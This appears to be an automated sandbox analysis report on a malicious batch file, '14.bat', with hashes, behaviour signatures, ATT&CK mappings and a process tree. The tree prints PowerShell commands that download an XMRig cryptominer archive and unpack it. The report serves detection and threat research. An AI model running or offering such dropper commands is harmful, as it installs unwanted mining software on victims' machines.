c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Resubmissions

Analysis

max time kernel
1558s
max time network
1558s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
20-05-2024 21:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

14.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2184	powershell.exe
6	2184	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2552	powershell.exe
2184	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2184	powershell.exe
2552	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1044 wrote to memory of 2184	1044	cmd.exe	29
PID 1044 wrote to memory of 2184	1044	cmd.exe	29
PID 1044 wrote to memory of 2184	1044	cmd.exe	29
PID 1044 wrote to memory of 2552	1044	cmd.exe	30
PID 1044 wrote to memory of 2552	1044	cmd.exe	30
PID 1044 wrote to memory of 2552	1044	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\14.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4b34d86dd728997a77dc44a705e8fbd9

SHA1
e81b7cc3f14ef74e2d627c8edbabb03a34202088

SHA256
a51f780f82ecd885742e91daa7f498978d92c1c673d0162dbfb9e8a16d8aeddb

SHA512
a5dba07bf5a5728f768a8743a325a0ad5f82fbdf81d539a50b25dbf7006487a5712bb9bdfe52a0ffde041d8a1e79927e203ff5bb0005b6a356f948e14633f4a2

Download Submit
memory/2184-4-0x000007FEF5E5E000-0x000007FEF5E5F000-memory.dmp

Filesize
4KB

Download
memory/2184-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2184-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2184-7-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-8-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-9-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-10-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-11-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-12-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

Filesize
9.6MB

Download
memory/2552-18-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2552-19-0x00000000027D0000-0x00000000027D8000-memory.dmp

Filesize
32KB

Download